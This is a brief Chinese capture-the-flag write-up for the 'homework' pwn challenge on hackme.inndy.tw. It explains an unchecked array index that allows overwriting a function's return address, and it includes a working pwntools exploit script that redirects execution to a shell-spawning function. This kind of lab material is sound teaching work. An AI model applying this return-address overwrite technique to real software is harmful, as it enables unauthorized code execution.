homework(数组漏洞)

check一下,开了canary和NX
image.png

拖进ida,发现有system有binsh


image.png

image.png

可以看到这里的arr数组只定义了10个值,但是在case1中没有0~9的区间判断,导致可以任意地址写。所以我们只需要覆盖run_program()函数的返回地址至 - call_me_maybe()即成功。
image.png

arr是0x34,离栈位置为14位

#coding:utf-8
from pwn import *
from LibcSearcher import *
p = remote('hackme.inndy.tw', 7701)
call_me_maybe = 0x080485FB
p.recvuntil("What's your name? ")
p.sendline("y0ona")

p.sendline("1")

p.recvuntil("edit: ")
p.sendline("14")

p.recvuntil("How many? ")
p.sendline(str(call_me_maybe))
 
p.sendline("0")
p.interactive()

你可能感兴趣的:(homework(数组漏洞))